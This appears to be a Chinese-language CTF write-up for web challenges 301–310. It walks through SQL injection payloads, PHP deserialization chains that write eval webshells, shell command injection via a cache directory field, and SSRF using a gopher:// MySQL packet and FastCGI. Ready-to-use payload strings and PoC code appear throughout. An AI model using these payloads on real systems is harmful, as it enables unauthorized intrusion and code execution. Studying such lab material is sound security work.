web301
有用户输入拼接的情况,存在sql注入,我这里想使用盲注但发现盲注失败,要登录上1这个系统,第一就是要搜索到我们的用户并返回密码,使查询列数>1这里可以用联合注入或者or and ,但要保证前面的用户不存在。然后就是密码的验证了,strcasecmp比较2个string是否相等,大小写不敏感同时二进制安全,可以使用数组绕过,或者与我们先前构造出的查询结果相等。
web302
修改了这个地方
直接本地跑一下,将加密后的值得出后联合注入再输入密码就可以了
web303
对username进行了长度限制,通过看sql中的值知道了账号密码admin admin,成功登录
接下来就是sql注入了
可以插入查询或者报错查询
insert into sds_dpt set sds_name='admin1',sds_address ='payload'#,sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
admin1',sds_address ='payload'#
admin1',sds_address =(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())#
admin1',sds_address =(select group_concat(column_name) from information_schema.COLUMNS where TABLE_NAME='sds_fl9g')#
web304
说是增加了一个全局waf过滤数字和字母,但是好像没有实装,这次用报错注入
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag'),0x7e),1)#
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_flaag),1,30),0x7e),1)#
dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_flaag),20,30),0x7e),1)#
web305
用了waf把特殊字符给禁了,但多了个class.php有反序列化漏洞可以写shell
cookie如下
user:O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A21%3A%22%3C%3F%3D%40eval%28%24_POST%5B1%5D%29%3F%3E%22%3B%7D
写入shell后用蚁剑连接并连接进入数据库getflag
web306 MVC模
使用了mvc模式,再login.php,和index.php中有反序列化入口,同时dao.php和class.php中也有可以利用的类,我们的链子要dao::_desatr
class.php中的close()方法写文件,但只有dao.php中的__destruct()方法可以调用它。
其中反序列化的入口有两个:index.php和login.php。login.php中只包含了class.php,没有包含能调用方法的dao.php,所以不能在这里反序列化,只能到index.php反序列化
<?php
class log{
public $title='1.php';
public $info='<?php eval($_POST[1]);?>';
}
class dao{
private $conn;
function __construct(){
$this->conn=new log();
}
}
$d =new dao();
echo base64_encode(serialize($d));
?>
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->conn=new log();
}
public function __destruct(){
$this->conn->close();
}
}
class log{
public $title='1.php';
public $info='<?=@eval($_POST[1])?>';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
//$user = unserialize(base64_decode($_COOKIE['user']));
echo base64_encode(serialize(new dao()));
__construct这个魔术方法的值可以任意更改
getshell后直接cat flag.php就可以了
web307 MVC结构完善
完善了MVC结构,加了一些功能,如写入缓存,同时将之前的close函数改名成了closelog这表示了我们之前的方法行不通了,但我这时又看到了一个用户可控的shell_exe函数输入点再dao类中在logout.php页面发现了反序列化入口
构造好了反序列化链了,但要退出才可以,admin的密码也别改了,登录给我卡住了,后来看wp发现logout这个页面没有检测登录状态有未授权,这里直接nc连接一下
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
class config{
public $cache_dir = ';echo "<?=eval(\$_POST[1])?>" >/var/www/html/1.php;';
}
//class service
//{
// private $dao;
//
// public function __construct()
// {
// $this->dao = new dao();
// }
// public function clearCache()
// {
// $this->dao->clearCache();
// }
//}
//$user = unserialize(base64_decode($_COOKIE['user']));
echo base64_encode(serialize(new dao()));
这里注意一下,在第一次写入shell成功后发现rce没有成功,然后我就把1.php改成1.txt
发现文本如下<?=eval([1])?>$_POST不见了前面要加一个\转义,这是linux的shell命令的特点,和php用于双引号代表会对字符串进行转义,单引号并不会对字符串进行转义$也是linux shell中参数的开头
web308 ssrf以及gopher协议mysql
SSRF利用 Gopher 协议拓展攻击面_gopher扩展攻击面-CSDN博客
之前的反序列化利用的函数都不能使用了,都存在一下过滤,发现新的可以造成漏洞的函数curl_exec他会造成ssrf漏洞,同时我们发现root这个用户是没有密码的,那么我们就可以使用ssrf进行内网通信,同时利用gopher协议进行去mysql的连接。
mysql分为服务端和客户端,其连接方式有3种
1.Unix和Linux套接字连接(Linux系统内部中使用的连接,不出网,用于本地连接数据库)
2.管道和命名空间连接(windows系统内部中使用的连接,不出网,用于本地连接数据库)
3.tcpip套接字连接(出网,用于远程的客户端和服务器连接)
由于mysql服务器的设置,我们在外网可能不能进行mysql连接,但内网可以,这时候就可以构造进行mysql(认证,命令,执行)这3步的tcpip数据包,但是如何用协议进行通信就是一个问题了,在curl中http肯定不能进行mysql连接,但是gopher这个比http早出现的万能协议就可以了,其没有默认端口,所以要指定端口格式大概如下gopher://localhost:4444/_<我们要发送的tcpip数据流>,注意在包的前加一个垃圾字符,因为gopher协议不发送第一个字符
可以看到nihao只收到了ihao,同时gopher中使用%0a%0d进行换行以及回车,在地址栏使用gopher协议时要进行二次url编码。
接下来进行构造反序列化poc吧
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%41%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%3d%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
$a = new dao();
echo base64_encode(serialize($a));
反序列化点index.php,注意在php中location重定向后后面的代码还是会执行
web309 ssrf攻击fastcgi
SSRF漏洞之FastCGI利用篇_ctf ssrf中fastcgi-CSDN博客
MySQL有密码了,这里只能利用fastgci了,webservice如nginx相当于分发内容的工具,其将客户端请求的内容转发给php的解释器,而解释器给出内容后又通过fastcgi这个转发协议进行通信,默认监听9000端口,如果我们可以伪造fastcgi进行通信的化就可以执行任意文件,如我们已知的某个文件,甚至通过动态修改php.ini达成任意文件执行。
web310
同样可以通过上面的方法写入shell,但是发现没找到真正的flag文件,这里可以使用file协议来读取nginx的配置文件
发现除了80端口外http还监听了4476端口。初始目录是/var/flag,进入该目录成功找到flag